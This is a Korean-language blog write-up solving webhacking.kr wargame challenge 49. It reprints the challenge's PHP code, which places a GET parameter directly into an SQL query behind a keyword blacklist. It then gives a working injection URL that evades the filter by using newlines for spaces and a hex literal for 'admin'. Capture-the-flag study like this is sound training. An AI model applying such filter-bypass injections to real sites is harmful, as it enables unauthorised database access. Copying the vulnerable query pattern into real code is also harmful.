문제를 살펴보면 다음과 같습니다.

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 49</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get>
level : <input name=lv value=1><input type=submit>
</form>
<?php
  if($_GET['lv']){
    $db = dbconnect();
    if(preg_match("/select|or|and|\(|\)|limit|,|\/|order|cash| |\t|\'|\"/i",$_GET['lv'])) exit("no hack");
    $result = mysqli_fetch_array(mysqli_query($db,"select id from chall49 where lv={$_GET['lv']}"));
    echo $result[0] ;
    if($result[0]=="admin") solve(49);
  }
?>
<hr><a href=./?view_source=1>view-source</a>
</body>
</html>



문제에서 lv 이란 GET 메소드 변수에 엄청나게 많은 필터링을 걸어두었군요.

그러나 우리는 저 험난한 과정을 뚫고 SQLi를 수행해야 합니다.


일단 따로 select나 or, and, 소괄호, 띄어쓰기, 탭이 안 된다고 나와있습니다.


띄어쓰기와 탭 대신 엔터로 우회하면 될 것 같으니 try try.


싱글쿼터는 우회할 수 없으니 0x로 대신합시다.


https://webhacking.kr/challenge/web-24/?lv=-1||id%0alike%0a0x61646d696e


'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No50(450) - old  (0) 2020.01.15
Webhacking.kr_No48(350) - old  (0) 2020.01.15
Webhacking.kr_No47(150) - old  (0) 2020.01.15
Webhacking.kr_No46(300) - old  (0) 2020.01.15
Webhacking.kr_No45(550) - old  (0) 2020.01.13
Webhacking.kr_No44(250) - old  (0) 2020.01.13
Webhacking.kr_No43(250) - old  (0) 2020.01.08
Webhacking.kr_No42(200) - old  (0) 2020.01.08

+ Recent posts